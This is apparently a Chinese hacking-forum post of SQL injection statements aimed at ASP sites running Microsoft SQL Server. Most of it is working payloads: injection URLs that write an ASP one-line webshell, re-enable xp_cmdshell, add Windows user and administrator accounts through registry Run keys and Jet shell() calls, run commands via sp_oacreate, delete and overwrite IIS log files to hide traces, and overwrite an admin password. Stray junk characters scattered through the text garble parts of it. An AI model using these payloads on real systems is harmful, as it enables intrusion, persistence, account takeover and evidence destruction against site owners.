标题: SQL注入语句 [打印本页] 作者: admin 时间: 2012-9-15 14:33 标题: SQL注入语句 1、用^转义字符来写ASP(一句话木马)文件的方法: 6 Q8 N' `- M+ q- }8 a: W, I 1 ^% c1 R9 H, ~% Z! C! w, ~http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("l"^)^</script^> >c:\mu.asp';-- - B! h% B; ?, z1 r1 V4 G) V% S5 ]3 G8 q! A" t' V u
echo ^<%execute^(request^("l"^)^)%^> >c:\mu.asp ' M! i3 R8 F! y" f$ G: ^5 l) v+ a. _7 c; i# D1 a y4 w
2、显示SQL系统版本: 6 k' B6 H/ r9 E* I http://192.168.1.5/display.asp?keyno=188 and 1=(select @@VERSION) $ n# p' S+ j4 s4 D6 V% ] http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,@@version)-- & g% J4 P- ]% o/ M7 V& { ' O; Q |" t4 b, J+ s8 z3 O, l! ]: I3 f1 J- m$ l' s3 i" P
3、在SQL语言中可以使用“in”关键字进行查询,例如“select * from mytable where id in(1)”,括号中的值就是我们提交的数据,它的结果与使用“select * from mytable where id=1”的查询结果完全相同。所以访问页面的时候在URL后面加上“) and 1=1 and 1 in(1”后原来的SQL语句就变成了“select * from mytable where id in(1) and 1=1 and 1 in(1)”,这样就会出现期待已久的页面了。暂且就叫这种类型的漏洞为“包含数字型”吧,聪明的你一定想到了还有“包含字符型”呢。对了,它就是由于类似“select * from mytable where name in('firstsee')”的查询语句造成的。7 F# E( l7 b$ D
. I; X" |' c* R8 P {+ T2 a4 Q4 O4、判断xp_cmdshell扩展存储过程是否存在:/ f, P' A$ r. J6 y* T! J4 G http://192.168.1.5/display.asp?keyno=188 and 1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X' AND name = 'xp_cmdshell')% K) y. X8 \, ~2 r. k: }; n
2 }6 D2 i# j8 O Y6 B) \0 C5、恢复xp_cmdshell扩展存储的命令: 3 K- v* Y8 t5 c" R1 Z; s) o: F/ r3 s: O' B& n; M+ f http://www.test.com/news/show1.asp?NewsId=125272;exec master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetput\web\xplog70.dll';-- 6 u2 g1 L( D* X2 t2 _, ~# O( t* ~# l
6、向启动组中写入命令行和执行程序: 8 A o6 X7 ]! P! q! d# t " X! F1 f( `0 ]2 f; shttp://192.168.1.5/display.asp?keyno=188;EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run','help1','REG_SZ','cmd.exe /c net user test ptlove /add'9 t/ m1 ~9 t% r. p8 A' [, ?* Q! G
8 w D0 O. C: E' h$ m8 i# Z[获取全部数据库名]' z5 a2 k/ o% d9 Z9 C* U
select name from master.dbo.sysdatabases where dbid=7 //dbid的值为7以上都是用户数据库2 Z, p' ?" [. r
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[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名] + A/ p7 X. ^4 D2 r kselect top 1 name from 数据库名.dbo.sysobjects where xtype='u' and status>0 and name not in('table') # p/ q/ e, }9 W2 [9 I* y& E$ {" n
. W, n( Q2 D0 ]& }[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]+ x! P8 _( E$ A& n& j
select top 1 数据库名.dbo.col_name(object_id('要查询的数据表名'),字段列如:1) [ where 条件] 6 B7 J( l% Q }: S9 Z ; k0 G& w: w9 Q' C v7 n. `. v3 o0 O& N2 [1 O& a8 A, y w3 z6 @( Z
9、不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令:* U0 \# ~1 S- G2 h0 ~
------------------------------------------------------------------------(语句解释) 0 j7 c6 V( ]& [7 K6 f$ S7 P3 xcreate TABLE mytmp(info VARCHAR(400),ID int IDENTITY(1,1) NOT NULL) / t( W% j+ y! G: @! v; ]: DDECLARE @shell INT: I2 y5 S$ D$ ]% A& [
DECLARE @fso INT / ^! m4 A% i- T6 q9 ZDECLARE @file INT& ?4 T4 I; ]# ]
DECLARE @isEnd BIT 1 U$ t9 R6 R$ d' c7 A7 XDECLARE @out VARCHAR(400) ( [; W' _) L7 Y3 R( P" C3 U/ t3 fEXEC sp_oacreate 'wscript.shell',@shell output # b6 [) a3 \0 V8 o t. BEXEC sp_oamethod @shell,'run',null,'cmd.exe /c dir c:\>c:\temp.txt','0','true'* B( l3 B# {0 `) `4 C4 J
--注意run的参数true指的是将等待程序运行的结果,对于类似ping的长时间命令必需使用此参数。% K& `. n$ A: C4 O$ y" U7 r
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EXEC sp_oacreate 'scripting.filesystemobject',@fso output8 d6 R' t+ Q* @/ K8 d" u* K
EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' 6 \ r2 }* Q! R0 E$ O5 y--因为fso的opentextfile方法将返回一个textstream对象,所以此时@file是一个对象令牌 ( ]7 T6 G ?4 r! K 3 W3 F5 M$ e6 K# YWHILE @shell>0 , p/ q, k: @4 a5 oBEGIN- b8 ]6 r% D6 S( @) j$ N) u
EXEC sp_oamethod @file,'Readline',@out out- {2 H8 b4 C! f4 p7 z7 _
insert INTO MYTMP(info) VALUES (@out)" ~+ s7 P; n# k: s$ y- q, A, n& T
EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out6 E5 R! E, {: A, ]8 g7 |
IF @isEnd=1 BREAK 7 j2 f, \: i- lELSE CONTINUE/ h5 |0 ~3 g( R
END# n+ |" L! _( C) {4 ?. P
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drop TABLE MYTMP - h3 `# |8 H" o 2 p2 |6 [+ m7 F9 W-------------------------------------------------------------------------(语句如下)# _/ ?% K6 Y8 w. Y" C! B7 A. [
DECLARE @shell INT . A7 ]6 N O& o% s* UDECLARE @fso INT8 `+ V" t3 v/ |1 |# }
DECLARE @file INT " `% |, x9 u5 T* S' I' ^4 ^: ]8 aDECLARE @isEnd BIT t& R `3 n: j' G- i6 s
DECLARE @out VARCHAR(400) - [! A7 F5 u6 JEXEC sp_oacreate 'wscript.shell',@shell output% i+ g+ O$ P- v4 I% y2 @$ c) ^' ]
EXEC sp_oamethod @shell,'run',null,'cmd.exe /c cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll" "C:\winnt\system32\inetsrv\asp.dll">c:\temp.txt','0','true'! P P' P( Q1 S, ]$ a9 w
EXEC sp_oacreate 'scripting.filesystemobject',@fso output ; K9 ], P) R s5 G0 J; w3 y: D GEXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt'+ J l. w- p3 s4 i' ]8 D' ? v3 C5 Z
WHILE @shell>0 , J+ z8 | {) w- Q( x( [BEGIN( r9 \4 [: m9 @7 v
EXEC sp_oamethod @file,'Readline',@out out" J" m! R! ^5 y1 ~
insert INTO MYTMP(info) VALUES (@out) # @! I* R' T, ?6 v7 M& ?EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out ! E1 a4 F/ A& C; ?IF @isEnd=1 BREAK & B2 s% n/ ?5 q% Y+ ^ELSE CONTINUE 5 V8 @9 y. e. m( J9 L3 H) fEND 9 h. D1 [0 n3 ?$ X/ f! H4 j2 D! H6 y# }( G) O2 `
10、以下是一行里面将WEB用户加到管理员组中:! \" w& A9 ~5 k+ P1 G" D* f
DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll" "C:\winnt\system32\inetsrv\asp.dll">c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END 8 E1 F: O: D- p; J7 h , q( \& n: O$ U: J& ^) }. o11、以下是一行中执行EXE程序:5 l+ ]6 [1 t. m+ d* f
DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c cscript.exe E:\bjeea.net.cn\score\fts\images\iis.vbs lh1 c:\>c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END4 _/ |% l) R- x. H; {# l
5 W3 l) ~: L5 D7 h. F12、SQL下三种执行CMD命令的方法: 1 e1 A2 _, Z9 r! G% v& [ . i0 }9 s+ A, `. Q: a先删除7.18号日志:, S1 j- [# A6 F8 k2 W
(1)exec master.dbo.xp_cmdshell 'del C:\winnt\system32\logfiles\W3SVC5\ex050718.log >c:\temp.txt' 0 ^& |3 d( E) m ! K1 `5 ~7 O) a) b8 J! P* O, t T(2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c del C:\winnt\system32\logfiles\W3SVC5\ex050718.log >c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END- d0 D9 p3 Z8 N! T B" n* f5 a4 t' H
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(3)首先开启jet沙盘模式,通过扩展存储过程xp_regwrite修改注册表实现,管理员修改注册表不能预防的原因。出于安全原因,默认沙盘模式未开启,这就是为什么需要xp_regwrite的原因,而xp_regwrite至少需要DB_OWNER权限,为了方便,这里建议使用sysadmin权限测试:# {, K3 _2 M9 g ]
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',17 O- j. X- H9 y3 y# D. e
注:0 T H$ D5 ^% @4 f4 k1 J m
0 禁止一切(默认) 1 N4 }' e, n& [# p$ Z; a1 j' U1 使能访问ACCESS,但是禁止其它8 @' H8 Y3 x; W; n5 J5 A
2 禁止访问ACCESS,但是使能其他 5 J$ y& Y q) }3 c- Z6 G5 z3 使能一切2 Y T& x1 h$ p" a3 U. b
X7 b+ W1 O" p( v% J: `; @这里仅给出sysadmin权限下使用的命令:7 s- c- z3 r/ d* z7 K
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")') 1 A. u, P' y: i; `- m- K ) y# u, j0 B/ M2 Y( K 8 L7 n. K6 M0 c: o, Y建立链接数据库'L0op8ack'参考命令:5 q0 S8 L, {8 n a# L/ |& _
EXEC sp_addlinkedserver 'L0op8ack','OLE DB Provider for Jet','Microsoft.Jet.OLEDB.4.0','c:\windows\system32\ias\ias.mdb' ( z$ I) ^' T1 U \/ w 2 f2 A, G! D9 ~! m9 c! f13、如何使用链接数据库: * e: `4 \2 L8 J% @9 ]2 ? - A, A! i) [* N r+ C" x% x5 N使用这个方式可以执行,但是很不幸,DB_OWNER权限是不够的,需要至少sysadmin权限或者securityadmin+setupadmin权限组合- `( M+ ]& c6 ~- W
sp_addlinkedserver需要sysadmin或setupadmin权限 + D- A7 F7 L4 Z# bsp_addlinkedsrvlogin需要sysadmin或securityadmin权限 3 ~ p+ \8 y3 B" T' E2 ^最终发现,还是sa权限或者setupadmin+securityadmin权限帐户才能使用, $ P4 M* v, }! R ]0 W! g# M: p' W& [一般没有哪个管理员这么设置普通帐户权限的 6 r* x2 l* D$ B {: Y% u 0 t) R; k! Y/ _3 c实用性不强,仅作为一个学习总结吧$ s: |7 W; E0 |8 H# T+ c
+ L/ `! L" l. B9 T5 s p大致过程如下,如果不是sysadmin,那么IAS.mdb权限验证会出错, 4 T. Z5 {! s- M2 W我测试的时候授予hacker这个用户setupadmin+securityadmin权限,使用ias.mdb失败 - j: g' k! o# }( R# Y& `- y' O9 z" b5 A需要找一个一般用户可访问的mdb才可以: # r: a& g! Y% z6 _9 U8 M" X. ]' _" I4 a. ^9 d! q- f0 P
新建链接服务器”L0op8ack”: EXEC sp_addlinkedserver 'L0op8ack','JetOLEDB','Microsoft.Jet.OLEDB.4.0','c:\winnt\system32\ias\ias.mdb';-- 9 W5 B. S/ S% G1 d r+ k5 B. |exec sp_addlinkedsrvlogin 'L0op8ack','false';--或) T$ V4 x2 Y4 F: t" l. l# W6 M% v
exec sp_addlinkedsrvlogin 'L0op8ack', 'false', NULL, 'test1', 'ptlove';--' b8 s/ }4 r# R2 K: G; a6 b: p: v( o
select * FROM OPENQUERY(L0op8ack, 'select shell("cmd.exe /c net user")');--# V- u6 t: n4 P- G& n
exec sp_droplinkedsrvlogin 'L0op8ack','false';--4 b& P) F/ e1 X+ ~* x
exec sp_dropserver 'L0op8ack';-- 7 ~/ V& m8 V& R; ?0 R H. o# H( R5 q4 Z) K3 J# b再考贝一个其它文件来代替7.18日文件: % q0 D6 d# E7 a+ z7 B9 D) X7 [ M(1)exec master.dbo.xp_cmdshell 'copy C:\winnt\system32\logfiles\W3SVC5\ex050716.log C:\winnt\system32\logfiles\W3SVC5\ex050718.log>c:\temp.txt'5 m: x' [6 L7 Y5 r
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(2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c copy C:\winnt\system32\logfiles\W3SVC5\ex050716.log C:\winnt\system32\logfiles\W3SVC5\ex050718.log>c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END4 R; Y7 V6 @; G* C" b, J! @- W* b9 t2 \
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(3)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c net user>c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END9 `- L% j Q! N5 `" s" U- V
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14、用update来更新表中的数据: a' i# w2 q# u6 Y5 s5 \: }0 p5 W ; U& i+ p' j* RHTTP://xxx.xxx.xxx/abc.asp?p=YY;update upload.dbo.admin set pwd='a0b923820dcc509a' where username='www';--5 \' W0 J' A* Q& p4 ]